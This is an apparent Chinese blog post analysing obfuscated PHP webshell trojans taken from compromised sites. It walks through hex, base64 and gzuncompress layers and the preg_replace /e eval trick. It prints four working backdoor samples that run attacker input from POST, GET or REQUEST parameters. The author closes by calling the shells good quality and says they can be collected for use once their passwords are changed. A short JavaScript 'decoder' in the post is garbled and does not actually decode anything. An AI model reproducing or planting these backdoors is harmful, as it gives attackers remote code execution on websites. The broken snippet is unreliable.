这篇文章是之前发在博客的, 我特么的=-=今天有事耽搁了,另外一篇文章的排版没出来,为了拿原创的邀请。再发一遍吧。。下面是正文...
最近Freebuf的某作者发布这篇文章真的是让人炸锅了,几乎是所有博彩seo流量的源头。没想到留后门这么好用,以后我也各个论坛发一些免杀木马了。
其次作者自求多福吧,不要让人拿刀砍你J。
由于我睡醒就被基友的一通电话叫醒了,赶紧下载几个木马样本分析分析,看看所谓黑产牛的思路。
果不其然,不到两个小时,那些shell掉光光。本人也是对这个东西没什么兴趣,毕竟不搞黑产。
拿到样本其实一个下午已经看得差不多了,可惜有一些事,文章耽搁了。
首先看到shell有很多这个php的后门,就选择了这个看4589.php的这木马。
大致看了下代码,发现了一个正则函数,preg_replace().
核心的代码,经过了加密。
程序函数的执行顺序是从里层到外层的,粗略的看下,最里层应该是base64加密,可是外围的base64_decode等字符也被加密或者打乱。
所以其进行了还原,外围的函数又被以如下图的方式加密。
x65x76x61x6Cx28x67x7Ax75x6Ex63x6Fx6Dx70x72x65x73x73x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28
虽然js很差劲,可是CTF的经验让我看出这段字符串应该是ASCII码的十六进制,搞安全的要对这些东西保持敏感性哈。
果然,将前几位字符串对照下面的ASCII码表就可以得出 eval。但是没有这么多的时间去一个一个找,精力不应该放在做重复的事情上。
于是想办法转化之。但是找不到好的工具来转化。本以为这款神器可以的=-=。
于是只能写端脚本实现了。
发现直接用js就能实现输出了,这是最简便的代码。如果发现更简单的代码,那么,欢迎来打脸。(just kidding,小菜希望能学到东西)
<script>
varencode="x65x76x61x6Cx28x67x7Ax75x6Ex63x6Fx6Dx70x72x65x73x73x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28";
function decode(){
document.getElementById('code').value= encode;
}
</script>
<divalign="center">
<textarea id=codecols=80 rows=20 >
</textarea>
<inputtype=button onclick=decode() value=解码>
</div>
解码后:
后面还有一截:
函数体的括号
现在我们要做的就是对其解密后用正则匹配然后还原出木马的源码了。
还记得上一篇木马分析的解密脚本么?
这次只不过他用了不是gzdeflate这个函数,他配合的是gzuncompress这个函数。
对比了两个函数发现大同小异….
感觉老司机的弯都是一样的。
替换了上次那个函数得到了源码。
查了一下手册,preg_replace这个函数。
之前还在纠结为什么还要匹配,以为是打乱字符,原来是在贪婪模式下,加e修饰符引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
外围加了一个eval执行。
对部分base64加密的代码小片段进行整理
整体浏览一遍,没有发现后门。
以下是他们的后门特征
<?php
@$A='Acc';$p='_';$o='PO';$s='S';$t='T';$a='as';$b='sert';$Acc=$a.$b;@${$A}(${$p.$o.$s.$t}[ziiuioxs]);
echo'error';exit;?>
<?php
@$ksvSGu= "x73trx5fx72ex70lx61x63e";
@$xRec= @$ksvSGu('wcaSq','','awcaSqrrwcaSqawcaSqywcaSq_filwcaSqter');
@$SOet= @$ksvSGu('wZTB','','aswZTBsewZTBrwZTBt');
@$xRec((array)@$_REQUEST['rretgscr'],@$SOet);
?>
<?php
if($_GET['jumpvv']){
$tu="TVFsnZG9vcnB5J";
$mzd="10pOwoK";
$fc="Cg";
$tnz = str_replace("rn","","rnstrnrrn_rrnernprnlrnarncrne");
$nu="pqldmqFsKCRfUE9";
$qwb = $tnz("u", "", "ubuausue6u4u_udueucoudue");
$lcq = $tnz("j","","jcrjejatej_jfujnjcjtjiojn");
$htx = $lcq('', $qwb($tnz("q", "",$fc.$nu.$tu.$mzd))); $htx();}
?>
<?php
@$EuTsNl="p"."r"."eg_r"."epla"."c"."e";
@$EuTsNl("/[email]/e",$_POST['iiaqffg'],"error");
?>
发现这些马儿质量可以的
修改密码之后,又可以拿来收藏使用了。